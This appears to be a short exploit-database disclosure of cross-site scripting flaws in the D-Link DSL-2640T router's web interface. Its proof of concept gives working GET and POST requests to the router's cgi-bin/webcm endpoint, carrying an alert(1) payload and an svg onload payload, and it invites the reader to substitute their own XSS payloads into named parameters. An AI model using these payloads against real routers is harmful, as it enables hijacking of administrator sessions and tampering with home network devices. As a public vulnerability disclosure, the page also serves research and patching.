D-Link DSL-2640T Cross Site Scripting

D-Link DSL-2640T suffers from a cross site scripting vulnerability.


MD5 | ab8474f010ecad27ec56a4787f98cd86

# Exploit Title: Multiple XSS Vulnerabilities in D-Link DSL-2640T
# Exploit Author: Anas Falhi/m0ti0nl3ss ,https://anasfalhi.blogspot.com.
# Tested on: D-Link DSL-2640T
# Tags: xss, cross site scripting, D-Link DSL-2640T router
POC:

a!XSS via GET
URL:
http://192.168.1.1:5050/cgi-bin/webcm?getpage=../html/home/home_RelaodHref.htm&var:RelaodHref=
"-alert(1)-"
----------------------------------------------------------------------------------------------------------------------------------------------------------------
a!XSS via POST
URL: http://192.168.1.1:5050/cgi-bin/webcm

Post Data: getpage=..%2fhtml%2fhome%2fwanPPP.htm&var%3aconid="><svg/

onload=alert(1)>&var%3amycon=yyyy&var%3apreForm=bbbb&var%3acontype=vvvv&var%3acontypeReal=

Note: Replace: yyyy, bbbb, vvvv with your XSS payload

Related Posts